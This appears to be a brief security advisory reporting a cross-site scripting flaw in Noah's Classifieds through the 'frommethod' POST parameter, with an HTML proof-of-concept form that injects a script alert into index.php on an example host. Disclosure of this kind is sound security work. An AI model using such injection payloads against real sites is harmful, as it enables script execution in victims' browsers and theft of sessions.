Noah's Classifieds is prone to a Cross Site Scripting Vulnerability, due to a failure in the application to properly sanitize the "frommethod" POST parameter in "index.php" :
<html>
<body>
<form method="POST" enctype="multipart/form-data" action="http://www.example.com/classifieds/index.php">
<input type="hidden" name="fromlist" value="advertisement">
<input type="hidden" name="frommethod" value="'><script>alert('XSS Vulnerable');</script>"
<input type="submit" value="Cancel" name="submit" class="button">
</form>
</body>
</html>
